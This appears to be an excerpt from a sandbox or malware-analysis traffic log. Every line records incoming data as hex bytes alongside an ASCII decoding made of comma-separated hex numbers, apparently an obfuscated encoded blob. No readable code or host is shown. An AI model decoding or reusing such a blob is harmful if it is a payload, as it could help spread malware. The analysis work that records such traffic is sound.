2023-03-24 00:27:19 UTC	1137	IN	Data Raw: 2c 31 32 32 2c 65 38 2c 38 37 2c 36 33 2c 63 34 2c 63 30 2c 38 61 2c 34 63 2c 65 64 2c 63 31 2c 31 30 33 2c 66 38 2c 62 61 2c 66 33 2c 61 62 2c 31 33 31 2c 31 30 34 2c 31 31 38 2c 31 31 34 2c 63 37 2c 31 33 36 2c 37 65 2c 38 66 2c 34 30 2c 31 31 62 2c 36 37 2c 38 34 2c 38 64 2c 31 34 30 2c 37 34 2c 31 30 35 2c 65 31 2c 63 61 2c 66 64 2c 39 39 2c 39 34 2c 31 35 64 2c 63 62 2c 65 35 2c 65 36 2c 31 31 37 2c 64 31 2c 64 62 2c 31 32 36 2c 64 36 2c 31 35 36 2c 31 34 66 2c 64 64 2c 31 34 61 2c 31 30 61 2c 64 63 2c 61 36 2c 39 31 2c 36 30 2c 63 63 2c 66 31 2c 39 34 2c 38 62 2c 31 34 66 2c 64 31 2c 31 32 34 2c 37 38 2c 34 36 2c 31 31 38 2c 62 34 2c 64 64 2c 31 31 66 2c 31 31 37 2c 31 35 65 2c 64 31 2c 63 64 2c 36 63 2c 65 64 2c 61 32 2c 36 38 2c 61 37 2c 39 36 2c Data Ascii: ,122,e8,87,63,c4,c0,8a,4c,ed,c1,103,f8,ba,f3,ab,131,104,118,114,c7,136,7e,8f,40,11b,67,84,8d,140,74,105,e1,ca,fd,99,94,15d,cb,e5,e6,117,d1,db,126,d6,156,14f,dd,14a,10a,dc,a6,91,60,cc,f1,94,8b,14f,d1,124,78,46,118,b4,dd,11f,117,15e,d1,cd,6c,ed,a2,68,a7,96,
2023-03-24 00:27:19 UTC	1153	IN	Data Raw: 2c 65 35 2c 31 30 33 2c 36 65 2c 31 32 37 2c 31 34 30 2c 38 32 2c 63 36 2c 31 31 66 2c 31 31 38 2c 39 65 2c 31 32 31 2c 61 61 2c 31 34 63 2c 31 32 31 2c 36 62 2c 36 39 2c 31 30 66 2c 38 66 2c 39 30 2c 36 61 2c 31 35 30 2c 37 35 2c 66 65 2c 65 33 2c 34 35 2c 31 31 37 2c 38 32 2c 61 31 2c 31 33 63 2c 38 65 2c 62 66 2c 31 36 61 2c 31 32 36 2c 36 34 2c 37 31 2c 62 64 2c 39 33 2c 31 35 39 2c 35 30 2c 65 38 2c 36 36 2c 31 36 34 2c 61 35 2c 31 34 66 2c 65 35 2c 66 34 2c 36 31 2c 39 32 2c 31 32 66 2c 37 63 2c 62 65 2c 31 34 30 2c 62 62 2c 36 62 2c 31 34 61 2c 38 63 2c 38 36 2c 39 62 2c 61 36 2c 63 33 2c 31 31 35 2c 31 33 32 2c 63 65 2c 31 36 34 2c 33 38 2c 31 30 65 2c 36 35 2c 31 32 35 2c 31 34 62 2c 63 64 2c 38 39 2c 31 31 65 2c 31 30 35 2c 31 30 36 2c 31 36 65 Data Ascii: ,e5,103,6e,127,140,82,c6,11f,118,9e,121,aa,14c,121,6b,69,10f,8f,90,6a,150,75,fe,e3,45,117,82,a1,13c,8e,bf,16a,126,64,71,bd,93,159,50,e8,66,164,a5,14f,e5,f4,61,92,12f,7c,be,140,bb,6b,14a,8c,86,9b,a6,c3,115,132,ce,164,38,10e,65,125,14b,cd,89,11e,105,106,16e
2023-03-24 00:27:19 UTC	1169	IN	Data Raw: 2c 63 64 2c 39 37 2c 31 31 61 2c 66 37 2c 39 61 2c 31 31 39 2c 31 33 66 2c 65 66 2c 38 64 2c 31 35 35 2c 65 61 2c 31 31 33 2c 31 30 34 2c 65 32 2c 64 38 2c 65 62 2c 31 33 62 2c 64 37 2c 38 61 2c 61 61 2c 66 37 2c 65 33 2c 36 34 2c 36 33 2c 36 63 2c 66 39 2c 38 36 2c 39 37 2c 33 65 2c 31 34 61 2c 31 32 66 2c 62 39 2c 66 64 2c 62 34 2c 63 34 2c 66 63 2c 66 37 2c 31 32 39 2c 61 63 2c 31 32 65 2c 38 63 2c 31 32 66 2c 62 30 2c 31 33 34 2c 31 31 30 2c 63 36 2c 61 33 2c 64 30 2c 38 39 2c 39 32 2c 31 33 61 2c 31 33 36 2c 31 33 32 2c 34 34 2c 31 33 36 2c 64 35 2c 64 37 2c 61 66 2c 63 34 2c 64 35 2c 36 65 2c 65 32 2c 31 31 36 2c 63 39 2c 31 34 39 2c 31 31 38 2c 31 31 32 2c 31 32 63 2c 64 61 2c 36 63 2c 31 32 37 2c 61 34 2c 65 64 2c 39 33 2c 37 35 2c 31 31 37 2c 31 Data Ascii: ,cd,97,11a,f7,9a,119,13f,ef,8d,155,ea,113,104,e2,d8,eb,13b,d7,8a,aa,f7,e3,64,63,6c,f9,86,97,3e,14a,12f,b9,fd,b4,c4,fc,f7,129,ac,12e,8c,12f,b0,134,110,c6,a3,d0,89,92,13a,136,132,44,136,d5,d7,af,c4,d5,6e,e2,116,c9,149,118,112,12c,da,6c,127,a4,ed,93,75,117,1
2023-03-24 00:27:19 UTC	1185	IN	Data Raw: 2c 35 36 2c 63 33 2c 65 37 2c 31 32 39 2c 62 32 2c 61 33 2c 64 31 2c 38 37 2c 39 38 2c 37 38 2c 31 35 61 2c 64 62 2c 31 30 39 2c 38 33 2c 66 32 2c 36 35 2c 64 66 2c 31 32 34 2c 31 31 66 2c 35 39 2c 38 35 2c 31 35 34 2c 61 64 2c 61 38 2c 31 32 38 2c 66 36 2c 36 34 2c 31 33 34 2c 31 36 34 2c 66 61 2c 31 30 38 2c 39 66 2c 61 37 2c 39 38 2c 38 63 2c 66 35 2c 31 31 63 2c 39 61 2c 37 33 2c 37 31 2c 63 30 2c 31 36 39 2c 65 31 2c 62 61 2c 65 34 2c 38 34 2c 38 31 2c 31 34 62 2c 31 34 30 2c 34 38 2c 64 30 2c 33 38 2c 31 30 64 2c 31 33 35 2c 65 30 2c 38 33 2c 31 31 31 2c 65 30 2c 31 31 33 2c 31 30 62 2c 31 30 38 2c 31 33 64 2c 65 62 2c 39 65 2c 61 33 2c 65 63 2c 39 39 2c 61 33 2c 31 31 39 2c 63 36 2c 66 34 2c 31 31 37 2c 65 62 2c 63 61 2c 31 33 34 2c 65 65 2c 38 34 Data Ascii: ,56,c3,e7,129,b2,a3,d1,87,98,78,15a,db,109,83,f2,65,df,124,11f,59,85,154,ad,a8,128,f6,64,134,164,fa,108,9f,a7,98,8c,f5,11c,9a,73,71,c0,169,e1,ba,e4,84,81,14b,140,48,d0,38,10d,135,e0,83,111,e0,113,10b,108,13d,eb,9e,a3,ec,99,a3,119,c6,f4,117,eb,ca,134,ee,84
2023-03-24 00:27:19 UTC	1201	IN	Data Raw: 2c 62 66 2c 61 30 2c 31 35 33 2c 31 33 30 2c 31 37 33 2c 61 31 2c 31 32 39 2c 63 63 2c 31 32 31 2c 31 34 36 2c 31 32 30 2c 39 61 2c 62 36 2c 62 65 2c 39 64 2c 37 34 2c 31 35 36 2c 31 34 38 2c 61 63 2c 62 33 2c 31 31 64 2c 31 32 37 2c 39 62 2c 34 65 2c 65 33 2c 31 33 32 2c 61 34 2c 35 38 2c 64 64 2c 36 32 2c 64 62 2c 38 36 2c 35 37 2c 31 30 65 2c 37 39 2c 31 30 37 2c 62 31 2c 64 64 2c 31 33 32 2c 63 34 2c 61 31 2c 39 39 2c 31 32 65 2c 39 64 2c 66 65 2c 36 63 2c 31 31 64 2c 39 39 2c 62 34 2c 31 34 30 2c 39 61 2c 31 31 36 2c 36 31 2c 63 62 2c 31 31 35 2c 35 32 2c 65 33 2c 31 35 39 2c 35 65 2c 61 38 2c 66 62 2c 31 35 30 2c 37 64 2c 31 30 61 2c 64 61 2c 65 31 2c 64 62 2c 31 30 63 2c 31 31 66 2c 62 34 2c 31 33 32 2c 65 35 2c 66 62 2c 63 35 2c 31 31 30 2c 65 35 Data Ascii: ,bf,a0,153,130,173,a1,129,cc,121,146,120,9a,b6,be,9d,74,156,148,ac,b3,11d,127,9b,4e,e3,132,a4,58,dd,62,db,86,57,10e,79,107,b1,dd,132,c4,a1,99,12e,9d,fe,6c,11d,99,b4,140,9a,116,61,cb,115,52,e3,159,5e,a8,fb,150,7d,10a,da,e1,db,10c,11f,b4,132,e5,fb,c5,110,e5
2023-03-24 00:27:19 UTC	1217	IN	Data Raw: 2c 61 38 2c 64 32 2c 66 35 2c 61 39 2c 31 31 38 2c 39 64 2c 31 33 36 2c 37 64 2c 65 31 2c 31 31 66 2c 31 31 64 2c 31 32 62 2c 36 38 2c 62 35 2c 31 34 36 2c 37 35 2c 36 38 2c 66 36 2c 31 31 30 2c 62 39 2c 63 38 2c 31 33 34 2c 39 30 2c 37 66 2c 36 64 2c 31 33 31 2c 38 31 2c 64 36 2c 66 33 2c 31 30 62 2c 35 64 2c 31 31 62 2c 66 31 2c 63 32 2c 31 31 37 2c 31 32 31 2c 39 30 2c 39 61 2c 39 38 2c 65 35 2c 62 34 2c 66 34 2c 31 32 65 2c 66 31 2c 31 30 65 2c 31 32 63 2c 66 31 2c 63 33 2c 61 30 2c 64 65 2c 65 35 2c 64 34 2c 31 32 64 2c 31 31 34 2c 66 35 2c 31 35 63 2c 31 31 36 2c 31 30 62 2c 31 34 39 2c 62 38 2c 31 33 66 2c 37 64 2c 35 38 2c 63 31 2c 31 31 37 2c 62 36 2c 31 32 36 2c 31 30 66 2c 37 65 2c 31 31 36 2c 31 31 32 2c 39 63 2c 64 65 2c 62 37 2c 31 31 64 2c Data Ascii: ,a8,d2,f5,a9,118,9d,136,7d,e1,11f,11d,12b,68,b5,146,75,68,f6,110,b9,c8,134,90,7f,6d,131,81,d6,f3,10b,5d,11b,f1,c2,117,121,90,9a,98,e5,b4,f4,12e,f1,10e,12c,f1,c3,a0,de,e5,d4,12d,114,f5,15c,116,10b,149,b8,13f,7d,58,c1,117,b6,126,10f,7e,116,112,9c,de,b7,11d,
2023-03-24 00:27:19 UTC	1233	IN	Data Raw: 34 2c 39 30 2c 31 31 63 2c 31 33 34 2c 65 39 2c 31 34 33 2c 31 35 33 2c 61 32 2c 38 35 2c 62 64 2c 39 35 2c 37 64 2c 62 66 2c 64 33 2c 39 31 2c 31 34 62 2c 31 32 62 2c 31 32 63 2c 62 34 2c 31 36 63 2c 39 64 2c 36 30 2c 37 30 2c 63 62 2c 31 33 37 2c 38 32 2c 33 66 2c 31 32 34 2c 31 30 37 2c 31 37 31 2c 31 37 33 2c 38 39 2c 35 62 2c 31 31 39 2c 63 30 2c 66 61 2c 64 62 2c 31 34 31 2c 65 38 2c 61 37 2c 64 37 2c 37 61 2c 31 35 38 2c 31 35 37 2c 37 39 2c 31 34 32 2c 31 32 63 2c 31 35 34 2c 66 37 2c 35 32 2c 62 37 2c 66 36 2c 31 30 39 2c 34 66 2c 66 65 2c 61 34 2c 66 32 2c 31 30 32 2c 31 32 65 2c 39 33 2c 62 35 2c 39 39 2c 31 36 61 2c 66 33 2c 63 31 2c 35 32 2c 37 33 2c 35 66 2c 31 33 32 2c 31 33 34 2c 62 31 2c 38 35 2c 62 30 2c 38 35 2c 62 64 2c 31 31 34 2c 31 Data Ascii: 4,90,11c,134,e9,143,153,a2,85,bd,95,7d,bf,d3,91,14b,12b,12c,b4,16c,9d,60,70,cb,137,82,3f,124,107,171,173,89,5b,119,c0,fa,db,141,e8,a7,d7,7a,158,157,79,142,12c,154,f7,52,b7,f6,109,4f,fe,a4,f2,102,12e,93,b5,99,16a,f3,c1,52,73,5f,132,134,b1,85,b0,85,bd,114,1
2023-03-24 00:27:19 UTC	1249	IN	Data Raw: 63 2c 31 32 30 2c 31 30 35 2c 38 32 2c 61 33 2c 35 63 2c 63 34 2c 35 32 2c 33 36 2c 62 64 2c 65 31 2c 31 30 37 2c 65 33 2c 63 39 2c 31 35 64 2c 37 63 2c 65 37 2c 38 32 2c 39 65 2c 35 65 2c 31 32 63 2c 31 36 38 2c 62 66 2c 62 38 2c 64 64 2c 61 64 2c 61 63 2c 66 64 2c 64 65 2c 37 61 2c 61 37 2c 61 32 2c 62 65 2c 31 30 39 2c 31 33 64 2c 31 36 37 2c 62 36 2c 62 64 2c 62 39 2c 38 32 2c 63 31 2c 65 30 2c 64 30 2c 31 34 34 2c 39 66 2c 37 64 2c 64 61 2c 66 31 2c 37 65 2c 66 61 2c 31 30 32 2c 36 32 2c 31 33 32 2c 31 35 31 2c 39 32 2c 61 34 2c 31 30 63 2c 63 62 2c 62 63 2c 39 32 2c 31 30 32 2c 31 35 38 2c 66 31 2c 61 33 2c 38 36 2c 66 37 2c 38 37 2c 65 63 2c 62 38 2c 31 31 39 2c 66 65 2c 31 31 38 2c 31 32 32 2c 65 65 2c 39 65 2c 39 33 2c 66 35 2c 31 33 33 2c 65 66 Data Ascii: c,120,105,82,a3,5c,c4,52,36,bd,e1,107,e3,c9,15d,7c,e7,82,9e,5e,12c,168,bf,b8,dd,ad,ac,fd,de,7a,a7,a2,be,109,13d,167,b6,bd,b9,82,c1,e0,d0,144,9f,7d,da,f1,7e,fa,102,62,132,151,92,a4,10c,cb,bc,92,102,158,f1,a3,86,f7,87,ec,b8,119,fe,118,122,ee,9e,93,f5,133,ef
2023-03-24 00:27:19 UTC	1265	IN	Data Raw: 31 32 62 2c 64 30 2c 34 35 2c 39 35 2c 65 30 2c 35 64 2c 35 31 2c 39 63 2c 31 33 32 2c 31 30 32 2c 61 39 2c 38 64 2c 31 30 38 2c 64 62 2c 31 30 31 2c 31 31 34 2c 31 34 34 2c 61 36 2c 38 66 2c 31 32 66 2c 61 35 2c 31 30 61 2c 38 35 2c 61 32 2c 66 62 2c 39 33 2c 36 39 2c 31 31 66 2c 37 66 2c 37 32 2c 31 32 30 2c 63 63 2c 31 30 65 2c 66 39 2c 39 36 2c 31 33 37 2c 39 64 2c 32 65 2c 64 61 2c 61 34 2c 31 36 35 2c 64 38 2c 31 33 37 2c 38 39 2c 37 66 2c 33 63 2c 61 62 2c 37 33 2c 37 64 2c 31 30 65 2c 64 35 2c 62 35 2c 36 66 2c 62 30 2c 62 36 2c 31 32 64 2c 61 65 2c 31 33 31 2c 37 62 2c 66 62 2c 66 34 2c 63 30 2c 63 38 2c 31 32 36 2c 31 32 31 2c 64 65 2c 37 38 2c 31 35 61 2c 64 63 2c 31 30 64 2c 61 61 2c 31 34 37 2c 63 36 2c 61 62 2c 31 30 31 2c 62 62 2c 31 34 34 Data Ascii: 12b,d0,45,95,e0,5d,51,9c,132,102,a9,8d,108,db,101,114,144,a6,8f,12f,a5,10a,85,a2,fb,93,69,11f,7f,72,120,cc,10e,f9,96,137,9d,2e,da,a4,165,d8,137,89,7f,3c,ab,73,7d,10e,d5,b5,6f,b0,b6,12d,ae,131,7b,fb,f4,c0,c8,126,121,de,78,15a,dc,10d,aa,147,c6,ab,101,bb,144
2023-03-24 00:27:19 UTC	1281	IN	Data Raw: 2c 31 34 39 2c 65 37 2c 31 30 31 2c 39 36 2c 31 33 61 2c 65 38 2c 61 35 2c 39 63 2c 37 34 2c 62 32 2c 66 35 2c 37 37 2c 31 30 30 2c 31 35 32 2c 39 62 2c 66 38 2c 64 35 2c 39 63 2c 63 30 2c 31 36 31 2c 31 32 32 2c 31 33 38 2c 39 34 2c 65 32 2c 31 30 62 2c 66 35 2c 63 38 2c 31 33 37 2c 62 31 2c 66 33 2c 65 66 2c 31 32 34 2c 31 33 34 2c 62 34 2c 36 63 2c 66 31 2c 31 33 30 2c 31 33 32 2c 39 63 2c 38 37 2c 36 62 2c 38 33 2c 31 32 31 2c 63 37 2c 65 65 2c 35 65 2c 31 34 31 2c 31 34 65 2c 36 39 2c 62 38 2c 64 65 2c 63 33 2c 66 63 2c 31 30 30 2c 38 32 2c 38 30 2c 36 33 2c 65 37 2c 37 31 2c 39 30 2c 35 33 2c 38 65 2c 31 33 30 2c 31 34 63 2c 38 66 2c 61 36 2c 31 32 63 2c 62 65 2c 31 31 35 2c 66 34 2c 37 61 2c 37 65 2c 31 33 66 2c 63 64 2c 39 66 2c 39 32 2c 31 32 36 Data Ascii: ,149,e7,101,96,13a,e8,a5,9c,74,b2,f5,77,100,152,9b,f8,d5,9c,c0,161,122,138,94,e2,10b,f5,c8,137,b1,f3,ef,124,134,b4,6c,f1,130,132,9c,87,6b,83,121,c7,ee,5e,141,14e,69,b8,de,c3,fc,100,82,80,63,e7,71,90,53,8e,130,14c,8f,a6,12c,be,115,f4,7a,7e,13f,cd,9f,92,126
2023-03-24 00:27:19 UTC	1297	IN	Data Raw: 2c 66 62 2c 35 35 2c 61 38 2c 66 31 2c 63 38 2c 64 33 2c 33 65 2c 31 31 31 2c 31 33 32 2c 33 37 2c 66 62 2c 37 32 2c 31 35 63 2c 31 32 32 2c 31 30 33 2c 63 66 2c 37 30 2c 34 62 2c 31 30 37 2c 35 38 2c 31 30 36 2c 37 35 2c 66 64 2c 31 30 66 2c 31 32 63 2c 31 30 37 2c 31 33 35 2c 31 31 35 2c 31 31 33 2c 62 34 2c 31 34 32 2c 34 62 2c 31 35 33 2c 36 66 2c 31 33 32 2c 63 33 2c 31 34 65 2c 31 36 33 2c 65 31 2c 31 35 64 2c 31 33 34 2c 38 37 2c 31 34 34 2c 64 63 2c 64 36 2c 31 30 61 2c 35 63 2c 34 31 2c 64 38 2c 31 32 30 2c 63 62 2c 61 62 2c 31 33 62 2c 61 35 2c 66 63 2c 63 34 2c 62 33 2c 63 30 2c 31 30 37 2c 31 36 37 2c 64 63 2c 61 38 2c 31 33 65 2c 31 32 30 2c 37 31 2c 31 33 66 2c 38 35 2c 31 37 35 2c 38 39 2c 31 30 38 2c 66 63 2c 63 37 2c 64 36 2c 35 33 2c 31 Data Ascii: ,fb,55,a8,f1,c8,d3,3e,111,132,37,fb,72,15c,122,103,cf,70,4b,107,58,106,75,fd,10f,12c,107,135,115,113,b4,142,4b,153,6f,132,c3,14e,163,e1,15d,134,87,144,dc,d6,10a,5c,41,d8,120,cb,ab,13b,a5,fc,c4,b3,c0,107,167,dc,a8,13e,120,71,13f,85,175,89,108,fc,c7,d6,53,1
2023-03-24 00:27:19 UTC	1313	IN	Data Raw: 32 35 2c 66 37 2c 31 31 35 2c 61 61 2c 31 30 61 2c 34 37 2c 63 33 2c 31 34 30 2c 65 65 2c 66 64 2c 31 31 66 2c 31 30 35 2c 31 32 34 2c 38 63 2c 31 34 39 2c 66 30 2c 31 30 63 2c 38 39 2c 31 31 35 2c 39 64 2c 31 30 39 2c 31 30 32 2c 31 36 62 2c 64 31 2c 31 31 62 2c 38 63 2c 31 36 35 2c 31 33 61 2c 31 30 66 2c 31 33 35 2c 62 31 2c 31 30 32 2c 31 33 64 2c 61 38 2c 66 38 2c 31 30 61 2c 31 33 34 2c 37 35 2c 31 34 31 2c 36 37 2c 31 32 66 2c 31 31 39 2c 35 63 2c 31 32 36 2c 61 34 2c 31 35 62 2c 66 64 2c 65 31 2c 37 65 2c 38 35 2c 31 30 38 2c 37 34 2c 66 32 2c 31 31 64 2c 64 31 2c 38 34 2c 31 36 36 2c 31 30 37 2c 31 34 39 2c 37 35 2c 37 63 2c 62 35 2c 31 32 32 2c 37 35 2c 31 31 34 2c 31 30 36 2c 31 30 32 2c 38 61 2c 63 35 2c 62 63 2c 66 39 2c 31 34 33 2c 31 36 36 Data Ascii: 25,f7,115,aa,10a,47,c3,140,ee,fd,11f,105,124,8c,149,f0,10c,89,115,9d,109,102,16b,d1,11b,8c,165,13a,10f,135,b1,102,13d,a8,f8,10a,134,75,141,67,12f,119,5c,126,a4,15b,fd,e1,7e,85,108,74,f2,11d,d1,84,166,107,149,75,7c,b5,122,75,114,106,102,8a,c5,bc,f9,143,166
2023-03-24 00:27:19 UTC	1329	IN	Data Raw: 34 32 2c 38 66 2c 39 30 2c 37 37 2c 37 66 2c 61 36 2c 65 63 2c 31 35 62 2c 64 37 2c 34 63 2c 36 31 2c 31 33 35 2c 66 37 2c 62 36 2c 38 35 2c 31 33 63 2c 31 33 32 2c 65 64 2c 36 33 2c 31 31 39 2c 63 66 2c 31 36 62 2c 31 36 33 2c 31 36 32 2c 31 32 63 2c 62 37 2c 61 39 2c 31 31 34 2c 31 30 66 2c 31 33 31 2c 31 33 36 2c 36 36 2c 31 31 37 2c 65 35 2c 31 30 38 2c 39 33 2c 31 32 38 2c 31 33 62 2c 65 37 2c 31 32 36 2c 39 39 2c 38 66 2c 65 31 2c 65 61 2c 31 35 65 2c 31 34 35 2c 39 61 2c 65 37 2c 31 33 64 2c 36 62 2c 38 64 2c 34 36 2c 31 33 64 2c 62 66 2c 31 32 65 2c 63 38 2c 66 65 2c 63 66 2c 61 31 2c 61 34 2c 63 33 2c 64 62 2c 66 66 2c 66 35 2c 31 31 66 2c 38 33 2c 31 33 36 2c 34 65 2c 37 66 2c 31 30 30 2c 31 35 63 2c 31 35 34 2c 66 36 2c 63 64 2c 63 61 2c 64 63 Data Ascii: 42,8f,90,77,7f,a6,ec,15b,d7,4c,61,135,f7,b6,85,13c,132,ed,63,119,cf,16b,163,162,12c,b7,a9,114,10f,131,136,66,117,e5,108,93,128,13b,e7,126,99,8f,e1,ea,15e,145,9a,e7,13d,6b,8d,46,13d,bf,12e,c8,fe,cf,a1,a4,c3,db,ff,f5,11f,83,136,4e,7f,100,15c,154,f6,cd,ca,dc
2023-03-24 00:27:19 UTC	1345	IN	Data Raw: 66 37 2c 31 34 34 2c 31 30 39 2c 31 31 37 2c 34 38 2c 65 64 2c 31 31 62 2c 63 66 2c 65 31 2c 63 38 2c 31 35 65 2c 31 34 33 2c 64 33 2c 39 61 2c 61 65 2c 62 36 2c 31 32 33 2c 31 30 39 2c 66 36 2c 31 30 31 2c 31 30 32 2c 38 37 2c 62 35 2c 38 33 2c 64 62 2c 31 30 62 2c 31 31 31 2c 31 35 38 2c 64 30 2c 39 66 2c 31 34 63 2c 31 31 30 2c 61 65 2c 39 35 2c 36 64 2c 31 30 30 2c 62 33 2c 31 30 62 2c 66 32 2c 37 30 2c 31 30 37 2c 31 37 33 2c 65 38 2c 62 30 2c 38 35 2c 31 33 38 2c 31 31 39 2c 37 30 2c 66 65 2c 66 64 2c 38 65 2c 31 33 30 2c 31 34 36 2c 64 33 2c 64 65 2c 34 32 2c 61 39 2c 35 66 2c 31 32 31 2c 31 33 34 2c 31 33 34 2c 36 64 2c 36 32 2c 39 36 2c 64 61 2c 37 37 2c 37 37 2c 31 31 37 2c 31 30 30 2c 39 36 2c 62 66 2c 62 34 2c 31 33 32 2c 64 37 2c 61 37 2c 31 Data Ascii: f7,144,109,117,48,ed,11b,cf,e1,c8,15e,143,d3,9a,ae,b6,123,109,f6,101,102,87,b5,83,db,10b,111,158,d0,9f,14c,110,ae,95,6d,100,b3,10b,f2,70,107,173,e8,b0,85,138,119,70,fe,fd,8e,130,146,d3,de,42,a9,5f,121,134,134,6d,62,96,da,77,77,117,100,96,bf,b4,132,d7,a7,1
2023-03-24 00:27:19 UTC	1361	IN	Data Raw: 32 2c 31 32 64 2c 33 39 2c 31 32 34 2c 65 34 2c 61 31 2c 66 63 2c 36 35 2c 38 34 2c 38 30 2c 31 30 31 2c 64 36 2c 34 64 2c 65 61 2c 31 32 61 2c 66 39 2c 31 35 33 2c 31 32 30 2c 62 33 2c 31 32 34 2c 64 64 2c 31 31 61 2c 35 34 2c 38 30 2c 31 32 39 2c 31 31 64 2c 38 30 2c 61 31 2c 66 36 2c 37 33 2c 31 31 64 2c 37 30 2c 31 31 66 2c 65 65 2c 63 36 2c 31 30 32 2c 35 65 2c 62 65 2c 31 31 64 2c 31 30 32 2c 64 66 2c 38 31 2c 63 61 2c 31 33 63 2c 61 62 2c 38 31 2c 62 39 2c 31 31 61 2c 31 32 31 2c 31 30 39 2c 64 32 2c 38 63 2c 66 38 2c 66 63 2c 31 31 39 2c 64 62 2c 66 66 2c 35 66 2c 61 31 2c 66 38 2c 66 63 2c 38 61 2c 31 33 30 2c 31 32 32 2c 37 33 2c 64 66 2c 62 63 2c 39 31 2c 31 32 34 2c 31 33 62 2c 31 32 62 2c 62 33 2c 61 30 2c 62 34 2c 31 31 61 2c 31 34 34 2c 66 Data Ascii: 2,12d,39,124,e4,a1,fc,65,84,80,101,d6,4d,ea,12a,f9,153,120,b3,124,dd,11a,54,80,129,11d,80,a1,f6,73,11d,70,11f,ee,c6,102,5e,be,11d,102,df,81,ca,13c,ab,81,b9,11a,121,109,d2,8c,f8,fc,119,db,ff,5f,a1,f8,fc,8a,130,122,73,df,bc,91,124,13b,12b,b3,a0,b4,11a,144,f
2023-03-24 00:27:19 UTC	1377	IN	Data Raw: 34 2c 34 62 2c 36 66 2c 31 33 32 2c 39 61 2c 65 31 2c 38 33 2c 61 30 2c 61 66 2c 66 33 2c 37 62 2c 63 36 2c 38 37 2c 38 33 2c 61 37 2c 31 34 33 2c 36 61 2c 62 65 2c 62 39 2c 31 30 39 2c 31 30 66 2c 39 63 2c 31 30 62 2c 37 66 2c 35 35 2c 39 64 2c 62 37 2c 39 63 2c 62 33 2c 31 34 36 2c 37 32 2c 31 31 31 2c 64 63 2c 36 66 2c 37 61 2c 31 33 61 2c 38 38 2c 63 34 2c 39 36 2c 61 63 2c 64 62 2c 31 37 35 2c 38 66 2c 37 31 2c 31 33 33 2c 64 37 2c 64 37 2c 65 30 2c 39 30 2c 35 39 2c 65 38 2c 31 33 63 2c 63 32 2c 31 32 36 2c 31 30 37 2c 31 32 39 2c 35 32 2c 62 38 2c 62 65 2c 65 38 2c 31 34 64 2c 31 31 36 2c 38 62 2c 66 38 2c 31 30 38 2c 31 32 65 2c 38 61 2c 36 34 2c 36 62 2c 39 31 2c 39 31 2c 36 34 2c 66 65 2c 65 35 2c 31 35 30 2c 39 33 2c 31 34 64 2c 34 62 2c 36 38 Data Ascii: 4,4b,6f,132,9a,e1,83,a0,af,f3,7b,c6,87,83,a7,143,6a,be,b9,109,10f,9c,10b,7f,55,9d,b7,9c,b3,146,72,111,dc,6f,7a,13a,88,c4,96,ac,db,175,8f,71,133,d7,d7,e0,90,59,e8,13c,c2,126,107,129,52,b8,be,e8,14d,116,8b,f8,108,12e,8a,64,6b,91,91,64,fe,e5,150,93,14d,4b,68
2023-03-24 00:27:19 UTC	1393	IN	Data Raw: 2c 31 34 37 2c 38 30 2c 31 34 36 2c 63 63 2c 31 34 35 2c 31 33 65 2c 31 30 64 2c 66 33 2c 63 35 2c 65 36 2c 63 35 2c 62 63 2c 31 33 32 2c 63 62 2c 61 31 2c 37 65 2c 61 39 2c 63 64 2c 31 32 62 2c 31 36 36 2c 31 33 63 2c 31 34 36 2c 31 32 38 2c 31 30 62 2c 38 38 2c 66 32 2c 61 66 2c 31 30 30 2c 31 33 30 2c 31 31 38 2c 37 63 2c 63 37 2c 31 30 32 2c 36 30 2c 31 33 63 2c 66 64 2c 64 62 2c 31 32 62 2c 35 36 2c 66 62 2c 31 32 35 2c 63 38 2c 31 30 35 2c 31 33 63 2c 66 31 2c 66 39 2c 38 39 2c 63 65 2c 38 61 2c 66 33 2c 31 34 37 2c 31 31 63 2c 64 32 2c 38 34 2c 36 30 2c 31 32 34 2c 31 32 34 2c 31 33 64 2c 31 34 36 2c 62 34 2c 61 34 2c 39 34 2c 31 30 63 2c 31 31 62 2c 39 62 2c 31 30 65 2c 38 62 2c 61 32 2c 31 30 61 2c 65 63 2c 31 30 36 2c 33 32 2c 39 63 2c 63 34 2c Data Ascii: ,147,80,146,cc,145,13e,10d,f3,c5,e6,c5,bc,132,cb,a1,7e,a9,cd,12b,166,13c,146,128,10b,88,f2,af,100,130,118,7c,c7,102,60,13c,fd,db,12b,56,fb,125,c8,105,13c,f1,f9,89,ce,8a,f3,147,11c,d2,84,60,124,124,13d,146,b4,a4,94,10c,11b,9b,10e,8b,a2,10a,ec,106,32,9c,c4,
2023-03-24 00:27:19 UTC	1409	IN	Data Raw: 31 36 33 2c 38 36 2c 65 37 2c 39 39 2c 39 63 2c 39 36 2c 63 63 2c 65 63 2c 61 63 2c 62 66 2c 38 30 2c 63 35 2c 64 65 2c 66 30 2c 31 30 34 2c 39 34 2c 31 33 38 2c 31 33 33 2c 66 65 2c 66 33 2c 31 30 39 2c 38 32 2c 31 34 30 2c 31 30 31 2c 66 39 2c 62 66 2c 38 30 2c 31 31 62 2c 38 63 2c 36 64 2c 31 35 37 2c 31 34 64 2c 63 32 2c 34 31 2c 63 30 2c 31 34 36 2c 65 63 2c 31 33 39 2c 37 30 2c 31 30 32 2c 31 33 39 2c 31 30 38 2c 35 34 2c 31 32 65 2c 62 32 2c 34 37 2c 64 33 2c 38 32 2c 37 37 2c 61 34 2c 61 33 2c 31 33 32 2c 63 63 2c 31 36 32 2c 31 34 62 2c 62 34 2c 35 66 2c 62 32 2c 33 35 2c 37 31 2c 31 32 63 2c 31 31 64 2c 63 34 2c 66 66 2c 31 32 65 2c 35 33 2c 31 30 38 2c 37 34 2c 62 61 2c 31 32 33 2c 36 35 2c 31 36 33 2c 36 36 2c 39 30 2c 64 66 2c 31 31 35 2c 37 Data Ascii: 163,86,e7,99,9c,96,cc,ec,ac,bf,80,c5,de,f0,104,94,138,133,fe,f3,109,82,140,101,f9,bf,80,11b,8c,6d,157,14d,c2,41,c0,146,ec,139,70,102,139,108,54,12e,b2,47,d3,82,77,a4,a3,132,cc,162,14b,b4,5f,b2,35,71,12c,11d,c4,ff,12e,53,108,74,ba,123,65,163,66,90,df,115,7
